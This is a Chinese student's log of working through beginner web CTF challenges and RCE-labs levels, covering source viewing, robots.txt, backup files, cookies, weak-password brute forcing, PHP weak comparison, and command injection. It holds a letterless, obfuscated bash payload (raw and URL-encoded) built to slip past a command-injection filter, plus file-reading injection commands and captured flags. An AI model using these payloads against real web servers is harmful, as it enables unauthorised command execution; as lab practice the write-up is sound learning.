工具



找flag
既然提示了flag可能在文件里.所以flag就是:
flag{hello_world}或xxxctf{we1c0me!}!

算了,直接看.md文件源代码
flag{we1c0me_t0_CTF!}
题目
view_source

tyle=”background-color:rgb(247, 248, 250);”>get_post

python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
|
import hashlib
import itertools
import string
def find_md5_match(prefix="19ca14", max_length=6):
chars = string.ascii_letters + string.digits
for length in range(1, max_length + 1):
for candidate in itertools.product(chars, repeat=length):
test_string = "".join(candidate)
md5_hash = hashlib.md5(test_string.encode()).hexdigest()
if md5_hash.startswith(prefix):
print(f"找到匹配项: {test_string} -> {md5_hash}")
return test_string
print("未找到匹配项")
return None
if __name__ == "__main__":
find_md5_match()
|
robots
了Notepad,就可以创建和编辑它 [1]。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。百度官方建议,仅当您的网站包含不希望被搜索引擎收录的内容时,才需要使用robots.txt文件。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。
如果将网站视为酒店里的一个房间,robots.txt就是主人在房间门口悬挂的“请勿打扰”或“欢迎打扫”的提示牌。这个文件告诉来访的搜索引擎哪些房间可以进入和参观,哪些房间因为存放贵重物品,或可能涉及住户及访客的隐私而不对搜索引擎开放。但robots.txt不是命令,也不是防火墙,如同守门人无法阻止窃贼等恶意闯入者。
所以直接搜robots.txt

再搜flag_ls_h3re.php就行了

backup

如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”
测试到.bak下载了一个文件,打开就是flag
tyle=”color:rgb(39, 46, 59);background-color:rgb(247, 248, 250);”>cookie
hackbar找cookie


hackbar中mode转为raw直接看flag


我偏按,改一下这个

去掉disabled就行了


相关知识:HTML <input> disabled 属性
simple_js

pass这堆数解密为FAUX PASSWORD HAHA,那么这堆java代码无论怎么执行,都返回FAUX PASSWORD HAHA,但是源代码有这样的16进制数
解码后得到786OsErtk12,盲猜flag,组合一下得到 Cyberpeace{786OsErtk12}
艹,真对了
xff_referer
ez_http,直接hackbar操作就行
](/img/HnuSecTraining/2025SpringWeek1/1741444321941-3d60e355-3f15-4cee-b13f-fafd8bc4e0c5.png)
weak_auth
盲猜密码

nb
算了爆破一下吧,也练习一下操作
在爆破点加载用户名和密码

取得一系列响应

直接找就行

command_execution

不写waf,某些hacker会直接操作你的文件!
展示文件

到根目录
找flag

或者这样找也行,但是flag一被修饰就不行了


cat /home/flag.txt 或者nl /home/flag.txt

simple_php

原理:
a=’0’中== 会先将字符串换成相同类型,再作比较,属于弱类型比较,所以$a==0成立
其次,$a的值原来是ASCLL码值,不为零,所以就绕过去了
b[]=12345被视作数组不是数字,绕过去
$b的值显然大于1234

PHP基础
已经写过了几份笔记,还有课件,都是知识~

PHP学习及练习
PHP语言的漏洞
PHP1.pdf
PHP2.pdf
REC命令执行
0~9题在这里
之前就部署好了

后面几题没看到get_flag.php文件,所以在nss上写了
[RCE-labs]Level 10 - 无字母命令执行_二进制整数替换

一开始没什么思路,看了一下writeup下载了一个使用的脚本
https://github.com/ProbiusOfficial/bashFuck
yload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
Charset :
Total Used: 10
Total length = 444
Payload = $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
|

url编码一下

[RCE-labs]Level 11 - 无字母命令执行_整数1的特殊变量替换
不是这道题有bug?传123不报WAF?看writeup也不行

上一题还正常
ad吧,不知道对不对.
毕竟没有对** # $ ‘ ( ) 0 < \ { } **几项WAF,在题目给的渠道生成playload:

url编码:
1 2 3 4 5
|
%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D000%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D000%24%7B%23%23%7D%24%7B%23%23%7D0%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D0%24%7B%23%23%7D00%24%7B%23%23%7D00))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D0%24%7B%23%23%7D000))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D00%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D00%24%7B%23%23%7D00%24%7B%23%23%7D0))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D00%24%7B%23%23%7D%24%7B%23%23%7D0%24%7B%23%23%7D0))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D000%24%7B%23%23%7D%24%7B%23%23%7D0%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D00%24%7B%23%23%7D00%24%7B%23%23%7D%24%7B%23%23%7D))%5C'
|
[RCE-labs]Level 13 - 无字母命令执行_特殊扩展替换任意数字



脚本真好用,学废了


[RCE-labs]Level 14 - 7字符RCE
这过滤个啥啊?代码BUG?长度都是9了啊?

换一种解题方式,就满足条件了

NSSCTF{fd8be297-d8d0-4909-90ef-574e11739831}
燃尽了先写到这里吧